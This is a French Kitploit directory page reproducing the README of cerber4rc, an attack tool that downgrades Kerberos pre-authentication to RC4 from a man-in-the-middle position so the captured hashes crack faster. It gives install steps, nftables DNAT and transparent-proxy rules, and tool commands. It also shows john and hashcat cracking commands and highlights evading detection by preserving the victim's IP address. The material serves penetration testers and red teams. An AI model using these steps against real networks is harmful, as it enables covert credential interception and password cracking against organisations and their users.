Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cerber4rc — Un outil pour récolter des hachages RC4 via ASREQroasting de manière furtive | Kitploit
Outils/GitHubGitHub/synacktiv/cerber4rc
Cassage de Mots de PasseAttaques de Mots de PasseAnalyse de HachagePost-ExploitationSécurité RéseauTests d'IntrusionRed Teaming
GitHubsynacktiv/cerber4rc

cerber4rc

Un outil pour récolter des hachages RC4 via ASREQroasting de manière furtive

Voir le dépôt
il y a 8 joursPas encore vérifié
Partager

cerber4rc - Jouer avec le chien à trois têtes

Logo

TL;DR

cerber4rc rétrograde les messages de pré-authentification Kerberos en forçant les clients à chiffrer leurs horodatages AS-REQ avec ARC4 (RC4), tout en s'authentifiant toujours auprès du contrôleur de domaine à l'aide de chiffrements sécurisés — en d'autres termes, il effectue un AS-REQ roasting basé sur RC4 de manière furtive. Le hash capturé ($krb5pa$23$) est bien plus rapide à casser que les messages AS-REQ chiffrés en AES, et aucun événement de sécurité lié à des chiffrements non sécurisés n'est journalisé sur le contrôleur de domaine. L'outil prend également en charge le proxy transparent afin que l'adresse IP source de la victime soit préservée.

Table des matières

  • TL;DR
  • Installation
    • Utilisation de pipx
    • Utilisation d'un environnement virtuel
  • Utilisation
    • Prérequis
      • Configuration réseau
    • Interception passive
    • Interception active
      • Proxy TCP
      • Proxy transparent (TPROXY)
    • Sorties de hash
    • Toutes les options
  • Comment ça fonctionne
    • Contexte
    • Pourquoi rétrograder ?
    • Outils existants
    • Forcer les clients à utiliser RC4
    • Détection
  • Inspiration et références

Installation

Utilisation de pipx

$ pipx install git+https://github.com/synacktiv/cerber4rc

Utilisation d'un environnement virtuel

$ git clone https://github.com/synacktiv/cerber4rc
$ cd cerber4rc
$ python3 -m venv .venv
$ source .venv/bin/activate
$ pip3 install .
$ python3 -m cerber4rc

Utilisation

Prérequis

Pour utiliser l'outil, vous devez d'abord avoir obtenu une position Man-in-the-Middle (MitM) vous permettant d'intercepter le trafic Kerberos de vos victimes. Cela peut être réalisé de plusieurs manières, par exemple :

  • ARP spoofing
  • Serveur DHCPv6 malveillant
  • Empoisonnement DNS

[!IMPORTANT] La machine que vous ciblez doit être configurée pour prendre en charge RC4, sinon la rétrogradation échouera, ce qui est détecté automatiquement par l'outil. Ce n'est pas un prérequis du côté du KDC : si le poste de travail que vous ciblez annonce RC4 comme etype, mais que le contrôleur de domaine ne prend pas en charge le chiffrement RC4 pour la pré-authentification Kerberos, l'attaque fonctionnera tout de même.

Configuration réseau

Une fois que vous recevez du trafic Kerberos, l'idée est de faire un DNAT du port 88/TCP vers un socket TCP local sur lequel l'outil écoute. Cela peut être réalisé avec les règles nft suivantes :

$ cat /etc/nftables.conf
[...]
table inet nat {
        chain prerouting {
                type nat hook prerouting priority dstnat; policy accept;
                ip saddr <ip_target_1> tcp dport 88 dnat ip to <local_ip>:<local_port>
                ip saddr <ip_target_2> tcp dport 88 dnat ip to <local_ip>:<local_port>
                [...]
                ip saddr <ip_target_n> tcp dport 88 dnat ip to <local_ip>:<local_port>
        }
}
[...]

$ sudo nft -f /etc/nftables.conf

Votre machine d'attaque doit également autoriser le transfert IP, ce qui peut être activé de cette façon :

$ sudo sysctl net.ipv4.ip_forward=1

[!NOTE] Si vous utilisez l'outil en mode --transparent, une configuration supplémentaire est requise, décrite dans la section proxy transparent.

Interception passive

cerber4rc permet l'interception passive des messages de pré-authentification Kerberos avec l'option --relay. Il dérive les hashes en fonction de l'etype utilisé par les victimes pour chiffrer leur horodatage de pré-authentification (AES ou RC4).

$ cerber4rc --kdc-host <dc_ip> --listen-host <local_ip> --listen-port <local_port> --relay

Interception active

cerber4rc prend en charge deux modes différents pour l'interception active : un proxy TCP classique (mode par défaut) et un proxy transparent (option --transparent).

Proxy TCP

Ce mode est le comportement par défaut de l'outil. Il « divise » la connexion en deux parties distinctes en terminant la connexion TCP du côté du client, et en créant une nouvelle connexion TCP vers le contrôleur de domaine (DC). D'un point de vue réseau, le DC voit l'IP de la machine exécutant cerber4rc, ce qui, dans des environnements durcis et matures, peut déclencher des règles de détection.

$ cerber4rc --kdc-host <dc_ip> --listen-host <local_ip> --listen-port <local_port>

Proxy transparent (TPROXY)

Ce mode peut être activé à l'aide du flag --transparent. Il crée un proxy transparent, ce qui nécessite la capacité CAP_NET_ADMIN, ou que l'outil soit exécuté en tant qu'utilisateur root. Cela vous permet de préserver l'adresse IP de la victime lors du rétrogradation des messages de pré-authentification Kerberos : les journaux d'événements générés sur le KDC pour les requêtes TGT contiendront l'adresse IP de la victime, et non celle de la machine de l'attaquant exécutant cerber4rc.

Pour que ce mode fonctionne, une configuration réseau différente est nécessaire. Tout d'abord, les règles nft suivantes doivent être créées :

table ip tproxy_kerberos {
    chain divert {
        type filter hook prerouting priority mangle; policy accept;

        socket transparent 1 meta mark set 1 accept
        meta l4proto tcp th dport 88 tproxy to :<cerber4rc_listening_tcp_port> meta mark set 1 accept
    }
}

Ensuite, la règle de routage de politique et la route suivantes doivent être définies :

$ sudo ip rule add fwmark 1 lookup 100
$ sudo ip route add local 0.0.0.0/0 dev lo table 100

cerber4rc peut ensuite être exécuté avec l'option --transparent, en tant que root ou en accordant la capacité CAP_NET_ADMIN à votre interpréteur Python :

$ cerber4rc --kdc-host <dc_ip> --listen-port <tcp_port_of_your_choice> --transparent -o /tmp/hashes

Sorties de hachage

Les hachages capturés seront enregistrés par défaut dans les fichiers <current_timestamp>-hashes_hashcat et <current_timestamp>-hashes_john dans le répertoire courant. Ce comportement peut être modifié avec l'option --hash-logfile (-o). L'outil vérifiera d'abord si vous disposez des autorisations nécessaires pour écrire à l'emplacement sélectionné, et quittera sinon.

Pour casser les hachages collectés, vous pouvez utiliser john ou hashcat avec les options suivantes :

# RC4 (etype 23)
$ john --wordlist=rockyou.txt <path_to_john_hashes>
$ hashcat -m 7500 <path_to_hashcat_hashes> rockyou.txt

# AES (etype 17/18), captured when RC4 downgrade is not available
$ john --wordlist=rockyou.txt <path_to_john_hashes>
$ hashcat -m 19800 <path_to_hashcat_hashes> rockyou.txt   # etype 17, AES-128
$ hashcat -m 19900 <path_to_hashcat_hashes> rockyou.txt   # etype 18, AES-256

Toutes les options

Télécharger l’outil

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Pas encore de données de popularité.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →